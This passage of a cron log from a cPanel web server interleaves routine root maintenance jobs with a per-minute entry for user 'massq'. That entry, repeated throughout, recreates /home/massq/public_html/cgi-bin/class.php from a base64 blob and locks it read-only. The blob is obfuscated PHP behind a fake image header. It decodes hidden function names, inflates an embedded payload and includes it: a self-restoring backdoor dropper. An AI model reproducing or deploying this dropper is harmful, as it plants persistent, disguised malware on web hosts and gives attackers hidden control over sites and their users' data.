k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:34:01 server CROND[16850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:34:01 server CROND[16851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:34:01 server CROND[16852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:35:01 server CROND[17343]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 08:35:01 server CROND[17346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:35:01 server CROND[17351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:35:01 server CROND[17356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:35:01 server CROND[17361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:35:01 server CROND[17364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:35:01 server CROND[17369]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:35:01 server CROND[17362]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:35:01 server CROND[17365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:36:01 server CROND[18195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:36:01 server CROND[18197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:36:01 server CROND[18196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:37:01 server CROND[18587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:37:01 server CROND[18588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:37:01 server CROND[18589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:38:01 server CROND[19045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:38:01 server CROND[19047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:38:01 server CROND[19046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:39:01 server CROND[19429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:39:01 server CROND[19431]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 08:39:01 server CROND[19430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:39:01 server CROND[19432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:40:01 server CROND[19821]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:40:01 server CROND[19823]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:40:01 server CROND[19826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:40:01 server CROND[19828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:40:01 server CROND[19825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:40:01 server CROND[19827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:40:01 server CROND[19824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:40:01 server CROND[19829]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:41:01 server CROND[20751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:41:01 server CROND[20750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:41:01 server CROND[20752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:42:01 server CROND[21141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:42:01 server CROND[21143]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:42:01 server CROND[21142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:42:01 server CROND[21144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:43:01 server CROND[21582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:43:01 server CROND[21583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:43:01 server CROND[21584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:44:01 server CROND[21967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:44:01 server CROND[21968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:44:01 server CROND[21969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:45:01 server CROND[22385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:45:01 server CROND[22388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:45:01 server CROND[22393]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:45:01 server CROND[22389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:45:01 server CROND[22392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0